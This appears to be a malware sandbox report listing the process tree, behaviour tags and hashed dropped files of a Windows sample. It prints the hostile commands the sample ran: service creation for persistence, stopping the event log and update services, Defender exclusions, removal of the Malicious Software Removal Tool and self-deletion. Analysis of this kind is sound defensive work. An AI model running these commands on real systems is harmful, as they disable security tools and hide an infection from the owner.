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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵PID:3080
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "TOPSOCSR"3⤵
- Launches sc.exe
PID:384
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "TOPSOCSR" binpath= "C:\ProgramData\rcmeotmtrtmm\szlvtzbcbfby.exe" start= "auto"3⤵
- Launches sc.exe
PID:2408
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
PID:3184
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "TOPSOCSR"3⤵
- Launches sc.exe
PID:3284
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\_d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2908 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:3956
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C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:3848
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3416
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3608
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3768
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4088
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Drops file in System32 directory
PID:3764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:4484
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2140
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1416
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3380
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:3760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:1644
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2992
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3832
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4932
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵PID:2760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:2396
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3968
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:936
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:1048
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:3528
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:1056
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C:\ProgramData\rcmeotmtrtmm\szlvtzbcbfby.exeC:\ProgramData\rcmeotmtrtmm\szlvtzbcbfby.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4724 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4112
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-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:760
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:4856
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1236
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2600
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:4384
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:3408
-
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4772
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1572
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1852
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3648
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:4548
-
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:596
-
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C:\Windows\system32\dialer.exedialer.exe2⤵
- Downloads MZ/PE file
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5052
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵PID:5992
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:5780
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C:\Windows\system32\UsoClient.exeC:\Windows\system32\usoclient.exe1⤵PID:5660
Network
MITRE ATT&CK Enterprise v16
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Downloads
- Path C:\ProgramData\rcmeotmtrtmm\szlvtzbcbfby.exe
- Size 3.3MB
- SHA256 d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19
- MD5 9a7a03f400f70df4492a7e5617c0ff15
- SHA1 137a69e52a5aa8b62fe239de42d0aee214d9f6d6
- SHA512 02a30d8613f35e08e59aa496c497295665c7be45911124dc9f44fdbc62081b16765edd9ae004fdff72455c79407d977670277e7a4e511e3a1842e7d71f960f26
- SSDEEP 98304:hzlmm8C/ov5C37dy8JyX2idQzHNLyyKHEU:aSov437HJyz+HNuyAE
- TLSH T119F53382697034FCD969C331A7AE2F7471A976100B0168EB50DB70A0257FBDBBA36F15
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4d3deuyj.evn.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\scanner[2].exe
- Size 791KB
- SHA256 f4b3650c841bec9a55c4b3faf0756cbf23933af3a1a7a16dc266a1410eff0b3e
- MD5 f9781e5f4c01b483f18877bb28f2d727
- SHA1 4f34b183839a9578e6bb1ffc7da8e64832ff3e7e
- SHA512 e29d3f4906ee7b9b39e50167956e6c63428bb9085eb73895bd99c2dcbbb31429eef1afb3ef370a5d21067cb6dd8c1254daa970e85f069cad8c3d1c1d2283ff11
- SSDEEP 6144:AmfAb7rxfvaeEE3UiCKLS0s8Vn8Ff5h3GIpQfq6xJr9X/VspGieO9Bn18ky5/inh:AmIb7rxqeEE3UsHsFFyVspGgOeQDAPh
- TLSH T1A2055C4573F99E7AEC56173866CF232D9A38C8341B630AE78A0147A09A437E5DE3F705
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419
- Size 412B
- SHA256 d93e074a1eb38f73b147adc84e5309ad31a236726ae30ee43121c2df2e881537
- MD5 e4cd76a2a04309ef5c8fea3f2de07823
- SHA1 99c7580b251daf1fdc7dc65d5de220a18424c2cc
- SHA512 9dd42d0da15c4ba788addfe2081c4671f43a0ade403fa448fc637ecf696a5092e5fa620155a7f00385e760c33d8fdb64dda39e6ccf5442529b2192589062c0d1
- TLSH T134E0C01821FB901CF4E5D5348BD5682185A9F0351408B5B92AD05700672A600FC02938
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- TLSH T10D91EF313275E1D5C8663F031A2D19D093AF4396EA54AF48B25C625EED2604BDB122F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 c5d3b1b166bd89639fb4caa37de6a3a48bcafe0a5cbff2bde11e116fcfe9dd5e
- MD5 630e7eb31bab69b7d2efefcbdc9844d8
- SHA1 db84a211dd3d6b24eb0a36415a3332a86f5d616b
- SHA512 03bab931c428ffc9443c0c2ed8b2d9935e2743aaf6b387cd62e129d136b77f67121b7ff8cfc17b1fe5b626fac2963adbb3b77c2a54bdde0ad7668bfedc94282b
- TLSH T1C9218627B3DC8A21CC86123A109D9C10766683C7819ECF9F6BC0D614A0BF989CB21290
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 245883a3c16d13c3284c58b5e879cfaa354d6e7e342cfdbff4af51fb8d4f2551
- MD5 2c96a563c5aab2b270f3e2b44c6cc4d6
- SHA1 8fe32b90ee92124e16dd148d2f1548e7b9bbac1a
- SHA512 40422f56d67084817fd5b1d0eda51db7bb74f93ec353b1f9632acac39c7c3c17287e8a764b611cc501d23246107426b50ecd275512297fd40c977dc5bc482a9f
- TLSH T19F119723B39C89A1CC86163A409D9C1132B287CB419ECECF6BC0C210A0BF584CB61190
- MD5 SHA1 SHA512 TLSH